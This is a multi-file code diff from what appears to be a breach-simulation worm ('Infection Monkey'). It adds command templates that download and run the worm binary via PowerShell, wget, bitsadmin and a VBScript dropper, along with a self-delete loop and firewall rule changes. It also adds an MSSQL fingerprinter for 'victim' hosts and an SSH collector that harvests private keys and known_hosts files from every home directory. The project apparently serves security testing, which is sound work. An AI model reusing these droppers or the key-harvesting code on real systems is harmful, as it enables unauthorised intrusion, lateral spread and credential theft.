MONKEY_ARG = "m0nk3y"
|
MONKEY_ARG = "m0nk3y"
|
||||||
DROPPER_ARG = "dr0pp3r"
|
DROPPER_ARG = "dr0pp3r"
|
||||||
|
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
||||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||||
|
@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
|
||||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||||
|
|
||||||
|
# Commands used for downloading monkeys
|
||||||
|
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
|
||||||
|
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
|
||||||
|
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
|
||||||
|
|
||||||
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
|
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
||||||
|
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
||||||
|
|
||||||
|
# Commands used to check if monkeys already exists
|
||||||
|
EXISTS = "ls %s"
|
|
@ -29,7 +29,7 @@ class VictimHost(object):
|
||||||
return self.ip_addr.__cmp__(other.ip_addr)
|
return self.ip_addr.__cmp__(other.ip_addr)
|
||||||
|
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
return "<VictimHost %s>" % self.ip_addr
|
return "VictimHost({0!r})".format(self.ip_addr)
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
victim = "Victim Host %s: " % self.ip_addr
|
victim = "Victim Host %s: " % self.ip_addr
|
||||||
|
@ -39,7 +39,7 @@ class VictimHost(object):
|
||||||
victim += "] Services - ["
|
victim += "] Services - ["
|
||||||
for k, v in self.services.items():
|
for k, v in self.services.items():
|
||||||
victim += "%s-%s " % (k, v)
|
victim += "%s-%s " % (k, v)
|
||||||
victim += ']'
|
victim += '] '
|
||||||
victim += "target monkey: %s" % self.monkey_exe
|
victim += "target monkey: %s" % self.monkey_exe
|
||||||
return victim
|
return victim
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@ block_cipher = None
|
||||||
|
|
||||||
|
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.'],
|
pathex=['.', '..'],
|
||||||
binaries=None,
|
binaries=None,
|
||||||
datas=None,
|
datas=None,
|
||||||
hiddenimports=['_cffi_backend'],
|
hiddenimports=['_cffi_backend'],
|
||||||
|
|
|
@ -12,8 +12,10 @@ from control import ControlClient
|
||||||
from model import DELAY_DELETE_CMD
|
from model import DELAY_DELETE_CMD
|
||||||
from network.firewall import app as firewall
|
from network.firewall import app as firewall
|
||||||
from network.network_scanner import NetworkScanner
|
from network.network_scanner import NetworkScanner
|
||||||
|
from six.moves import xrange
|
||||||
from system_info import SystemInfoCollector
|
from system_info import SystemInfoCollector
|
||||||
from system_singleton import SystemSingleton
|
from system_singleton import SystemSingleton
|
||||||
|
from windows_upgrader import WindowsUpgrader
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -35,6 +37,8 @@ class InfectionMonkey(object):
|
||||||
self._fingerprint = None
|
self._fingerprint = None
|
||||||
self._default_server = None
|
self._default_server = None
|
||||||
self._depth = 0
|
self._depth = 0
|
||||||
|
self._opts = None
|
||||||
|
self._upgrading_to_64 = False
|
||||||
|
|
||||||
def initialize(self):
|
def initialize(self):
|
||||||
LOG.info("Monkey is initializing...")
|
LOG.info("Monkey is initializing...")
|
||||||
|
@ -46,14 +50,13 @@ class InfectionMonkey(object):
|
||||||
arg_parser.add_argument('-p', '--parent')
|
arg_parser.add_argument('-p', '--parent')
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth')
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
opts, self._args = arg_parser.parse_known_args(self._args)
|
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
||||||
|
|
||||||
self._parent = opts.parent
|
self._parent = self._opts.parent
|
||||||
self._default_tunnel = opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = opts.server
|
self._default_server = self._opts.server
|
||||||
if opts.depth:
|
if self._opts.depth:
|
||||||
WormConfiguration.depth = int(opts.depth)
|
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
self._network = NetworkScanner()
|
self._network = NetworkScanner()
|
||||||
|
@ -69,15 +72,27 @@ class InfectionMonkey(object):
|
||||||
def start(self):
|
def start(self):
|
||||||
LOG.info("Monkey is running...")
|
LOG.info("Monkey is running...")
|
||||||
|
|
||||||
if firewall.is_enabled():
|
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||||
firewall.add_firewall_rule()
|
LOG.info("Monkey couldn't find server. Going down.")
|
||||||
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
|
return
|
||||||
|
|
||||||
|
if WindowsUpgrader.should_upgrade():
|
||||||
|
self._upgrading_to_64 = True
|
||||||
|
self._singleton.unlock()
|
||||||
|
LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
|
||||||
|
WindowsUpgrader.upgrade(self._opts)
|
||||||
|
return
|
||||||
|
|
||||||
|
ControlClient.wakeup(parent=self._parent)
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
if not WormConfiguration.alive:
|
if not WormConfiguration.alive:
|
||||||
LOG.info("Marked not alive from configuration")
|
LOG.info("Marked not alive from configuration")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
if firewall.is_enabled():
|
||||||
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
monkey_tunnel = ControlClient.create_control_tunnel()
|
monkey_tunnel = ControlClient.create_control_tunnel()
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.start()
|
monkey_tunnel.start()
|
||||||
|
@ -216,23 +231,31 @@ class InfectionMonkey(object):
|
||||||
LOG.info("Monkey cleanup started")
|
LOG.info("Monkey cleanup started")
|
||||||
self._keep_running = False
|
self._keep_running = False
|
||||||
|
|
||||||
# Signal the server (before closing the tunnel)
|
if self._upgrading_to_64:
|
||||||
ControlClient.send_telemetry("state", {'done': True})
|
InfectionMonkey.close_tunnel()
|
||||||
|
firewall.close()
|
||||||
|
else:
|
||||||
|
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
|
||||||
|
InfectionMonkey.close_tunnel()
|
||||||
|
firewall.close()
|
||||||
|
if WormConfiguration.send_log_to_server:
|
||||||
|
self.send_log()
|
||||||
|
self._singleton.unlock()
|
||||||
|
|
||||||
# Close tunnel
|
InfectionMonkey.self_delete()
|
||||||
|
LOG.info("Monkey is shutting down")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def close_tunnel():
|
||||||
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
||||||
if tunnel_address:
|
if tunnel_address:
|
||||||
LOG.info("Quitting tunnel %s", tunnel_address)
|
LOG.info("Quitting tunnel %s", tunnel_address)
|
||||||
tunnel.quit_tunnel(tunnel_address)
|
tunnel.quit_tunnel(tunnel_address)
|
||||||
|
|
||||||
firewall.close()
|
@staticmethod
|
||||||
|
def self_delete():
|
||||||
if WormConfiguration.send_log_to_server:
|
if WormConfiguration.self_delete_in_cleanup \
|
||||||
self.send_log()
|
and -1 == sys.executable.find('python'):
|
||||||
|
|
||||||
self._singleton.unlock()
|
|
||||||
|
|
||||||
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
|
|
||||||
try:
|
try:
|
||||||
if "win32" == sys.platform:
|
if "win32" == sys.platform:
|
||||||
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
|
||||||
|
@ -247,8 +270,6 @@ class InfectionMonkey(object):
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.error("Exception in self delete: %s", exc)
|
LOG.error("Exception in self delete: %s", exc)
|
||||||
|
|
||||||
LOG.info("Monkey is shutting down")
|
|
||||||
|
|
||||||
def send_log(self):
|
def send_log(self):
|
||||||
monkey_log_path = utils.get_monkey_log_path()
|
monkey_log_path = utils.get_monkey_log_path()
|
||||||
if os.path.exists(monkey_log_path):
|
if os.path.exists(monkey_log_path):
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
import os
|
import os
|
||||||
import platform
|
import platform
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.'],
|
pathex=['.', '..'],
|
||||||
hiddenimports=['_cffi_backend', 'queue'],
|
hiddenimports=['_cffi_backend', 'queue'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None)
|
runtime_hooks=None)
|
||||||
|
|
|
@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger
|
||||||
from mysqlfinger import MySQLFinger
|
from mysqlfinger import MySQLFinger
|
||||||
from info import local_ips
|
from info import local_ips
|
||||||
from info import get_free_tcp_port
|
from info import get_free_tcp_port
|
||||||
|
from mssql_fingerprint import MSSQLFinger
|
|
@ -8,6 +8,12 @@ import itertools
|
||||||
import netifaces
|
import netifaces
|
||||||
from subprocess import check_output
|
from subprocess import check_output
|
||||||
from random import randint
|
from random import randint
|
||||||
|
from common.network.network_range import CidrRange
|
||||||
|
|
||||||
|
try:
|
||||||
|
long # Python 2
|
||||||
|
except NameError:
|
||||||
|
long = int # Python 3
|
||||||
|
|
||||||
|
|
||||||
def get_host_subnets():
|
def get_host_subnets():
|
||||||
|
@ -92,8 +98,8 @@ else:
|
||||||
ifaddr = socket.inet_ntoa(ifreq[20:24])
|
ifaddr = socket.inet_ntoa(ifreq[20:24])
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL,
|
routes.append((socket.htonl(long(dst, 16)) & 0xffffffff,
|
||||||
socket.htonl(long(msk, 16)) & 0xffffffffL,
|
socket.htonl(long(msk, 16)) & 0xffffffff,
|
||||||
socket.inet_ntoa(struct.pack("I", long(gw, 16))),
|
socket.inet_ntoa(struct.pack("I", long(gw, 16))),
|
||||||
iff, ifaddr))
|
iff, ifaddr))
|
||||||
|
|
||||||
|
@ -129,7 +135,7 @@ def check_internet_access(services):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def get_ips_from_interfaces():
|
def get_interfaces_ranges():
|
||||||
"""
|
"""
|
||||||
Returns a list of IPs accessible in the host in each network interface, in the subnet.
|
Returns a list of IPs accessible in the host in each network interface, in the subnet.
|
||||||
Limits to a single class C if the network is larger
|
Limits to a single class C if the network is larger
|
||||||
|
@ -138,15 +144,11 @@ def get_ips_from_interfaces():
|
||||||
res = []
|
res = []
|
||||||
ifs = get_host_subnets()
|
ifs = get_host_subnets()
|
||||||
for net_interface in ifs:
|
for net_interface in ifs:
|
||||||
address_str = unicode(net_interface['addr'])
|
address_str = net_interface['addr']
|
||||||
netmask_str = unicode(net_interface['netmask'])
|
netmask_str = net_interface['netmask']
|
||||||
host_address = ipaddress.ip_address(address_str)
|
|
||||||
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
|
ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str))
|
||||||
# limit subnet scans to class C only
|
# limit subnet scans to class C only
|
||||||
if ip_interface.network.num_addresses > 255:
|
res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str)))
|
||||||
ip_interface = ipaddress.ip_interface(u"%s/24" % address_str)
|
|
||||||
addrs = [str(addr) for addr in ip_interface.network.hosts() if addr != host_address]
|
|
||||||
res.extend(addrs)
|
|
||||||
return res
|
return res
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,74 @@
|
||||||
|
import logging
|
||||||
|
import socket
|
||||||
|
|
||||||
|
from model.host import VictimHost
|
||||||
|
from network import HostFinger
|
||||||
|
|
||||||
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class MSSQLFinger(HostFinger):
|
||||||
|
|
||||||
|
# Class related consts
|
||||||
|
SQL_BROWSER_DEFAULT_PORT = 1434
|
||||||
|
BUFFER_SIZE = 4096
|
||||||
|
TIMEOUT = 5
|
||||||
|
SERVICE_NAME = 'MSSQL'
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
|
||||||
|
def get_host_fingerprint(self, host):
|
||||||
|
"""Gets Microsoft SQL Server instance information by querying the SQL Browser service.
|
||||||
|
:arg:
|
||||||
|
host (VictimHost): The MS-SSQL Server to query for information.
|
||||||
|
|
||||||
|
:returns:
|
||||||
|
Discovered server information written to the Host info struct.
|
||||||
|
True if success, False otherwise.
|
||||||
|
"""
|
||||||
|
|
||||||
|
assert isinstance(host, VictimHost)
|
||||||
|
|
||||||
|
# Create a UDP socket and sets a timeout
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
sock.settimeout(self.TIMEOUT)
|
||||||
|
server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT)
|
||||||
|
|
||||||
|
# The message is a CLNT_UCAST_EX packet to get all instances
|
||||||
|
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
|
||||||
|
message = '\x03'
|
||||||
|
|
||||||
|
# Encode the message as a bytesarray
|
||||||
|
message = message.encode()
|
||||||
|
|
||||||
|
# send data and receive response
|
||||||
|
try:
|
||||||
|
LOG.info('Sending message to requested host: {0}, {1}'.format(host, message))
|
||||||
|
sock.sendto(message, server_address)
|
||||||
|
data, server = sock.recvfrom(self.BUFFER_SIZE)
|
||||||
|
except socket.timeout:
|
||||||
|
LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host))
|
||||||
|
sock.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
host.services[self.SERVICE_NAME] = {}
|
||||||
|
|
||||||
|
# Loop through the server data
|
||||||
|
instances_list = data[3:].decode().split(';;')
|
||||||
|
LOG.info('{0} MSSQL instances found'.format(len(instances_list)))
|
||||||
|
for instance in instances_list:
|
||||||
|
instance_info = instance.split(';')
|
||||||
|
if len(instance_info) > 1:
|
||||||
|
host.services[self.SERVICE_NAME][instance_info[1]] = {}
|
||||||
|
for i in range(1, len(instance_info), 2):
|
||||||
|
# Each instance's info is nested under its own name, if there are multiple instances
|
||||||
|
# each will appear under its own name
|
||||||
|
host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i]
|
||||||
|
|
||||||
|
# Close the socket
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
return True
|
|
@ -2,8 +2,9 @@ import logging
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
from info import local_ips, get_ips_from_interfaces
|
from info import local_ips, get_interfaces_ranges
|
||||||
from range import *
|
from common.network.network_range import *
|
||||||
|
from model import VictimHost
|
||||||
from . import HostScanner
|
from . import HostScanner
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
@ -20,9 +21,8 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
def initialize(self):
|
def initialize(self):
|
||||||
"""
|
"""
|
||||||
Set up scanning based on configuration
|
Set up scanning.
|
||||||
FixedRange -> Reads from range_fixed field in configuration
|
based on configuration: scans local network and/or scans fixed list of IPs/subnets.
|
||||||
otherwise, takes a range from every IP address the current host has.
|
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
# get local ip addresses
|
# get local ip addresses
|
||||||
|
@ -33,13 +33,9 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
|
||||||
# for fixed range, only scan once.
|
# for fixed range, only scan once.
|
||||||
if WormConfiguration.range_class is FixedRange:
|
self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
|
||||||
self._ranges = [WormConfiguration.range_class(fixed_addresses=WormConfiguration.range_fixed)]
|
|
||||||
else:
|
|
||||||
self._ranges = [WormConfiguration.range_class(ip_address)
|
|
||||||
for ip_address in self._ip_addresses]
|
|
||||||
if WormConfiguration.local_network_scan:
|
if WormConfiguration.local_network_scan:
|
||||||
self._ranges += [FixedRange([ip_address for ip_address in get_ips_from_interfaces()])]
|
self._ranges += get_interfaces_ranges()
|
||||||
LOG.info("Base local networks to scan are: %r", self._ranges)
|
LOG.info("Base local networks to scan are: %r", self._ranges)
|
||||||
|
|
||||||
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
||||||
|
@ -50,7 +46,8 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
for net_range in self._ranges:
|
for net_range in self._ranges:
|
||||||
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
LOG.debug("Scanning for potential victims in the network %r", net_range)
|
||||||
for victim in net_range:
|
for ip_addr in net_range:
|
||||||
|
victim = VictimHost(ip_addr)
|
||||||
if stop_callback and stop_callback():
|
if stop_callback and stop_callback():
|
||||||
LOG.debug("Got stop signal")
|
LOG.debug("Got stop signal")
|
||||||
break
|
break
|
||||||
|
|
|
@ -1,82 +0,0 @@
|
||||||
import random
|
|
||||||
import socket
|
|
||||||
import struct
|
|
||||||
from abc import ABCMeta, abstractmethod
|
|
||||||
|
|
||||||
from model.host import VictimHost
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
|
||||||
|
|
||||||
|
|
||||||
class NetworkRange(object):
|
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
def __init__(self, base_address, shuffle=True):
|
|
||||||
self._base_address = base_address
|
|
||||||
self._shuffle = shuffle
|
|
||||||
self._config = __import__('config').WormConfiguration
|
|
||||||
|
|
||||||
@abstractmethod
|
|
||||||
def _get_range(self):
|
|
||||||
raise NotImplementedError()
|
|
||||||
|
|
||||||
def __iter__(self):
|
|
||||||
base_range = self._get_range()
|
|
||||||
if self._shuffle:
|
|
||||||
random.shuffle(base_range)
|
|
||||||
|
|
||||||
for x in base_range:
|
|
||||||
yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x)))
|
|
||||||
|
|
||||||
|
|
||||||
class ClassCRange(NetworkRange):
|
|
||||||
def __init__(self, base_address, shuffle=True):
|
|
||||||
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00
|
|
||||||
super(ClassCRange, self).__init__(base_address, shuffle=shuffle)
|
|
||||||
|
|
||||||
def __repr__(self):
|
|
||||||
return "<ClassCRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
|
|
||||||
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
|
|
||||||
|
|
||||||
def _get_range(self):
|
|
||||||
return range(1, 254)
|
|
||||||
|
|
||||||
|
|
||||||
class RelativeRange(NetworkRange):
|
|
||||||
def __init__(self, base_address, shuffle=True):
|
|
||||||
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0]
|
|
||||||
super(RelativeRange, self).__init__(base_address, shuffle=shuffle)
|
|
||||||
self._size = 1
|
|
||||||
|
|
||||||
def __repr__(self):
|
|
||||||
return "<RelativeRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)),
|
|
||||||
socket.inet_ntoa(struct.pack(">L", self._base_address + self._size)))
|
|
||||||
|
|
||||||
def _get_range(self):
|
|
||||||
lower_end = -(self._size / 2)
|
|
||||||
higher_end = lower_end + self._size
|
|
||||||
return range(lower_end, higher_end + 1)
|
|
||||||
|
|
||||||
|
|
||||||
class FixedRange(NetworkRange):
|
|
||||||
def __init__(self, fixed_addresses=None, shuffle=True):
|
|
||||||
base_address = 0
|
|
||||||
super(FixedRange, self).__init__(base_address, shuffle=shuffle)
|
|
||||||
if not fixed_addresses:
|
|
||||||
self._fixed_addresses = self._config.range_fixed
|
|
||||||
else:
|
|
||||||
if type(fixed_addresses) is str:
|
|
||||||
self._fixed_addresses = [fixed_addresses]
|
|
||||||
else:
|
|
||||||
self._fixed_addresses = list(fixed_addresses)
|
|
||||||
|
|
||||||
def __repr__(self):
|
|
||||||
return "<FixedRange %s>" % (",".join(self._fixed_addresses))
|
|
||||||
|
|
||||||
def _get_range(self):
|
|
||||||
address_range = []
|
|
||||||
for address in self._fixed_addresses:
|
|
||||||
if not address: # Empty string
|
|
||||||
continue
|
|
||||||
address_range.append(struct.unpack(">L", socket.inet_aton(address.strip()))[0])
|
|
||||||
return address_range
|
|
|
@ -144,13 +144,13 @@ class SMBFinger(HostFinger):
|
||||||
host.os['type'] = 'linux'
|
host.os['type'] = 'linux'
|
||||||
|
|
||||||
host.services[SMB_SERVICE]['name'] = service_client
|
host.services[SMB_SERVICE]['name'] = service_client
|
||||||
if not host.os.has_key('version'):
|
if 'version' not in host.os:
|
||||||
host.os['version'] = os_version
|
host.os['version'] = os_version
|
||||||
else:
|
else:
|
||||||
host.services[SMB_SERVICE]['os-version'] = os_version
|
host.services[SMB_SERVICE]['os-version'] = os_version
|
||||||
|
|
||||||
return True
|
return True
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error getting smb fingerprint: %s", exc)
|
LOG.debug("Error getting smb fingerprint: %s", exc)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -10,9 +10,11 @@ odict
|
||||||
paramiko
|
paramiko
|
||||||
psutil==3.4.2
|
psutil==3.4.2
|
||||||
PyInstaller
|
PyInstaller
|
||||||
|
six
|
||||||
ecdsa
|
ecdsa
|
||||||
netifaces
|
netifaces
|
||||||
mock
|
mock
|
||||||
nos
|
nos
|
||||||
ipaddress
|
ipaddress
|
||||||
wmi
|
wmi
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,96 @@
|
||||||
|
import logging
|
||||||
|
import pwd
|
||||||
|
import os
|
||||||
|
import glob
|
||||||
|
|
||||||
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class SSHCollector(object):
|
||||||
|
"""
|
||||||
|
SSH keys and known hosts collection module
|
||||||
|
"""
|
||||||
|
|
||||||
|
default_dirs = ['/.ssh/', '/']
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_info():
|
||||||
|
LOG.info("Started scanning for ssh keys")
|
||||||
|
home_dirs = SSHCollector.get_home_dirs()
|
||||||
|
ssh_info = SSHCollector.get_ssh_files(home_dirs)
|
||||||
|
LOG.info("Scanned for ssh keys")
|
||||||
|
return ssh_info
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ssh_struct(name, home_dir):
|
||||||
|
"""
|
||||||
|
:return: SSH info struct with these fields:
|
||||||
|
name: username of user, for whom the keys belong
|
||||||
|
home_dir: users home directory
|
||||||
|
public_key: contents of *.pub file(public key)
|
||||||
|
private_key: contents of * file(private key)
|
||||||
|
known_hosts: contents of known_hosts file(all the servers keys are good for,
|
||||||
|
possibly hashed)
|
||||||
|
"""
|
||||||
|
return {'name': name, 'home_dir': home_dir, 'public_key': None,
|
||||||
|
'private_key': None, 'known_hosts': None}
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_home_dirs():
|
||||||
|
root_dir = SSHCollector.get_ssh_struct('root', '')
|
||||||
|
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
|
||||||
|
if x.pw_dir.startswith('/home')]
|
||||||
|
home_dirs.append(root_dir)
|
||||||
|
return home_dirs
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_ssh_files(usr_info):
|
||||||
|
for info in usr_info:
|
||||||
|
path = info['home_dir']
|
||||||
|
for directory in SSHCollector.default_dirs:
|
||||||
|
if os.path.isdir(path + directory):
|
||||||
|
try:
|
||||||
|
current_path = path + directory
|
||||||
|
# Searching for public key
|
||||||
|
if glob.glob(os.path.join(current_path, '*.pub')):
|
||||||
|
# Getting first file in current path with .pub extension(public key)
|
||||||
|
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
|
||||||
|
LOG.info("Found public key in %s" % public)
|
||||||
|
try:
|
||||||
|
with open(public) as f:
|
||||||
|
info['public_key'] = f.read()
|
||||||
|
# By default private key has the same name as public, only without .pub
|
||||||
|
private = os.path.splitext(public)[0]
|
||||||
|
if os.path.exists(private):
|
||||||
|
try:
|
||||||
|
with open(private) as f:
|
||||||
|
# no use from ssh key if it's encrypted
|
||||||
|
private_key = f.read()
|
||||||
|
if private_key.find('ENCRYPTED') == -1:
|
||||||
|
info['private_key'] = private_key
|
||||||
|
LOG.info("Found private key in %s" % private)
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
# By default known hosts file is called 'known_hosts'
|
||||||
|
known_hosts = os.path.join(current_path, 'known_hosts')
|
||||||
|
if os.path.exists(known_hosts):
|
||||||
|
try:
|
||||||
|
with open(known_hosts) as f:
|
||||||
|
info['known_hosts'] = f.read()
|
||||||
|
LOG.info("Found known_hosts in %s" % known_hosts)
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
# If private key found don't search more
|
